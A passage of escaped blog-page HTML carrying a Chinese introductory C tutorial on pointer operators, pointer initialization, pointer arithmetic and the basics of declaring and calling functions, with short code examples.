href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E7%AC%A6-1\" class=\"headerlink\" title=\"* 运算符\"\u003e\u003c/a\u003e* 运算符\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e*\u003c/code\u003e这个符号除了表示指针以外,还可以作为运算符,用来取出指针变量所指向的内存地址里面的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = *p + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003eincrement()\u003c/code\u003e的参数是一个整数指针\u003ccode\u003ep\u003c/code\u003e。函数体里面,\u003ccode\u003e*p\u003c/code\u003e就表示指针\u003ccode\u003ep\u003c/code\u003e所指向的那个值。对\u003ccode\u003e*p\u003c/code\u003e赋值,就表示改变指针所指向的那个地址里面的值。\u003c/p\u003e\u003cp\u003e上面函数的作用是将参数值加\u003ccode\u003e1\u003c/code\u003e。该函数没有返回值,因为传入的是地址,函数体内部对该地址包含的值的操作,会影响到函数外部,所以不需要返回值。事实上,函数内部通过指针,将值传到外部,是 C 语言的常用方法。\u003c/p\u003e\u003cp\u003e变量地址而不是变量值传入函数,还有一个好处。对于需要大量存储空间的大型变量,复制变量值传入函数,非常浪费时间和空间,不如传入指针来得高效。\u003c/p\u003e\u003ch3 id=\"amp-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#amp-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"\u0026amp; 运算符\"\u003e\u003c/a\u003e\u0026amp; 运算符\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符用来取出一个变量所在的内存地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x\u0026#39;s address is %p\\n\u0026#34;\u003c/span\u003e, \u0026amp;x);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ex\u003c/code\u003e是一个整数变量,\u003ccode\u003e\u0026amp;x\u003c/code\u003e就是\u003ccode\u003ex\u003c/code\u003e的值所在的内存地址。\u003ccode\u003eprintf()\u003c/code\u003e的\u003ccode\u003e%p\u003c/code\u003e是内存地址的占位符,可以打印出内存地址。\u003c/p\u003e\u003cp\u003e上一小节中,参数变量加\u003ccode\u003e1\u003c/code\u003e的函数,可以像下面这样使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = *p + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eincrement(\u0026amp;x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,调用\u003ccode\u003eincrement()\u003c/code\u003e函数以后,变量\u003ccode\u003ex\u003c/code\u003e的值就增加了1,原因就在于传入函数的是变量\u003ccode\u003ex\u003c/code\u003e的地址\u003ccode\u003e\u0026amp;x\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符与\u003ccode\u003e*\u003c/code\u003e运算符互为逆运算,下面的表达式总是成立。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == *(\u0026amp;i)) \u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"指针变量的初始化\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E9%92%88%E5%8F%98%E9%87%8F%E7%9A%84%E5%88%9D%E5%A7%8B%E5%8C%96\" class=\"headerlink\" title=\"指针变量的初始化\"\u003e\u003c/a\u003e指针变量的初始化\u003c/h3\u003e\u003cp\u003e声明指针变量之后,编译器会为指针变量本身分配一个内存空间,但是这个内存空间里面的值是随机的,也就是说,指针变量指向的值是随机的。这时一定不能去读写指针变量指向的地址,因为那个地址是随机地址,很可能会导致严重后果。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码是错的,因为\u003ccode\u003ep\u003c/code\u003e指向的那个地址是随机的,向这个随机地址里面写入\u003ccode\u003e1\u003c/code\u003e,会导致意想不到的结果。\u003c/p\u003e\u003cp\u003e正确做法是指针变量声明后,必须先让它指向一个分配好的地址,然后再进行读写,这叫做指针变量的初始化。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u0026amp;i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e是指针变量,声明这个变量后,\u003ccode\u003ep\u003c/code\u003e会指向一个随机的内存地址。这时要将它指向一个已经分配好的内存地址,上例就是再声明一个整数变量\u003ccode\u003ei\u003c/code\u003e,编译器会为\u003ccode\u003ei\u003c/code\u003e分配内存地址,然后让\u003ccode\u003ep\u003c/code\u003e指向\u003ccode\u003ei\u003c/code\u003e的内存地址(\u003ccode\u003ep = \u0026amp;i;\u003c/code\u003e)。完成初始化之后,就可以对\u003ccode\u003ep\u003c/code\u003e指向的内存地址进行赋值了(\u003ccode\u003e*p = 13;\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e为了防止读写未初始化的指针变量,可以养成习惯,将未初始化的指针变量设为\u003ccode\u003eNULL\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eNULL\u003c/code\u003e在 C 语言中是一个常量,表示地址为\u003ccode\u003e0\u003c/code\u003e的内存空间,这个地址是无法使用的,读写该地址会报错。\u003c/p\u003e\u003ch3 id=\"指针的运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E9%92%88%E7%9A%84%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"指针的运算\"\u003e\u003c/a\u003e指针的运算\u003c/h3\u003e\u003cp\u003e指针本质上就是一个无符号整数,代表了内存地址。它可以进行运算,但是规则并不是整数运算的运算。\u003c/p\u003e\u003cp\u003e(1)指针与整数值的加减运算\u003c/p\u003e\u003cp\u003e指针与整数值的运算,表示指针的移动。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (\u003cspan class=\"type\"\u003eshort\u003c/span\u003e*)\u003cspan class=\"number\"\u003e0x1234\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = j + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 0x1236\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej\u003c/code\u003e是一个指针,指向内存地址\u003ccode\u003e0x1234\u003c/code\u003e。你可能以为\u003ccode\u003ej + 1\u003c/code\u003e等于\u003ccode\u003e0x1235\u003c/code\u003e,但正确答案是\u003ccode\u003e0x1236\u003c/code\u003e。原因是\u003ccode\u003ej + 1\u003c/code\u003e表示指针向高位移动一个单位,而一个单位的\u003ccode\u003eshort\u003c/code\u003e类型占据两个字节的宽度,所以相当于向高位移动两个字节。同样的,\u003ccode\u003ej - 1\u003c/code\u003e得到的结果是\u003ccode\u003e0x1232\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e指针移动的单位,与指针指向的数据类型有关。数据类型占据多少个字节,每单位就移动多少个字节。\u003c/p\u003e\u003cp\u003e(2)指针与指针的加法运算\u003c/p\u003e\u003cp\u003e指针只能与整数值进行加减运算,两个指针进行加法是非法的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e* k;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = j + k; \u003cspan class=\"comment\"\u003e// 非法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是两个指针相加,这是非法的。\u003c/p\u003e\u003cp\u003e(3)指针与指针的减法\u003c/p\u003e\u003cp\u003e相同类型的指针允许进行减法运算,返回它们之间的距离,即相隔多少个数据单位。\u003c/p\u003e\u003cp\u003e高位地址减去低位地址,返回的是正值;低位地址减去高位地址,返回的是负值。\u003c/p\u003e\u003cp\u003e这时,减法返回的值属于\u003ccode\u003eptrdiff_t\u003c/code\u003e类型,这是一个带符号的整数类型别名,具体类型根据系统不同而不同。这个类型的原型定义在头文件\u003ccode\u003estddef.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e* j2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej1 = (\u003cspan class=\"type\"\u003eshort\u003c/span\u003e*)\u003cspan class=\"number\"\u003e0x1234\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej2 = (\u003cspan class=\"type\"\u003eshort\u003c/span\u003e*)\u003cspan class=\"number\"\u003e0x1236\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eptrdiff_t\u003c/span\u003e dist = j2 - j1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, dist); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej1\u003c/code\u003e和\u003ccode\u003ej2\u003c/code\u003e是两个指向 short 类型的指针,变量\u003ccode\u003edist\u003c/code\u003e是它们之间的距离,类型为\u003ccode\u003eptrdiff_t\u003c/code\u003e,值为\u003ccode\u003e1\u003c/code\u003e,因为相差2个字节正好存放一个 short 类型的值。\u003c/p\u003e\u003cp\u003e(4)指针与指针的比较运算\u003c/p\u003e\u003cp\u003e指针之间的比较运算,比较的是各自的内存地址哪一个更大,返回值是整数\u003ccode\u003e1\u003c/code\u003e(true)或\u003ccode\u003e0\u003c/code\u003e(false)。\u003c/p\u003e\u003ch2 id=\"函数-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0-1\" class=\"headerlink\" title=\"函数\"\u003e\u003c/a\u003e函数\u003c/h2\u003e\u003ch3 id=\"简介-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-2\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e函数是一段可以重复执行的代码。它可以接受不同的参数,完成对应的操作。下面的例子就是一个函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eplus_one\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e n + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码声明了一个函数\u003ccode\u003eplus_one()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e函数声明的语法有以下几点,需要注意。\u003c/p\u003e\u003cp\u003e(1)返回值类型。函数声明时,首先需要给出返回值的类型,上例是\u003ccode\u003eint\u003c/code\u003e,表示函数\u003ccode\u003eplus_one()\u003c/code\u003e返回一个整数。\u003c/p\u003e\u003cp\u003e(2)参数。函数名后面的圆括号里面,需要声明参数的类型和参数名,\u003ccode\u003eplus_one(int n)\u003c/code\u003e表示这个函数有一个整数参数\u003ccode\u003en\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(3)函数体。函数体要写在大括号里面,后面(即大括号外面)不需要加分号。大括号的起始位置,可以跟函数名在同一行,也可以另起一行,本书采用同一行的写法。\u003c/p\u003e\u003cp\u003e(4)\u003ccode\u003ereturn\u003c/code\u003e语句。\u003ccode\u003ereturn\u003c/code\u003e语句给出函数的返回值,程序运行到这一行,就会跳出函数体,结束函数的调用。如果函数没有返回值,可以省略\u003ccode\u003ereturn\u003c/code\u003e语句,或者写成\u003ccode\u003ereturn;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e调用函数时,只要在函数名后面加上圆括号就可以了,实际的参数放在圆括号里面,就像下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = plus_one(\u003cspan class=\"number\"\u003e13\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a 等于 14\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e函数调用时,参数个数必须与定义里面的参数个数一致,参数过多或过少都会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eplus_one\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e n + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eplus_one(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eplus_one(); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003eplus_one()\u003c/code\u003e只能接受一个参数,传入两个参数或不传参数,都会报错。\u003c/p\u003e\u003cp\u003e函数必须声明后使用,否则会报错。也就是说,一定要在使用\u003ccode\u003eplus_one()\u003c/code\u003e之前,声明这个函数。如果像下面这样写,编译时会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = plus_one(\u003cspan class=\"number\"\u003e13\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 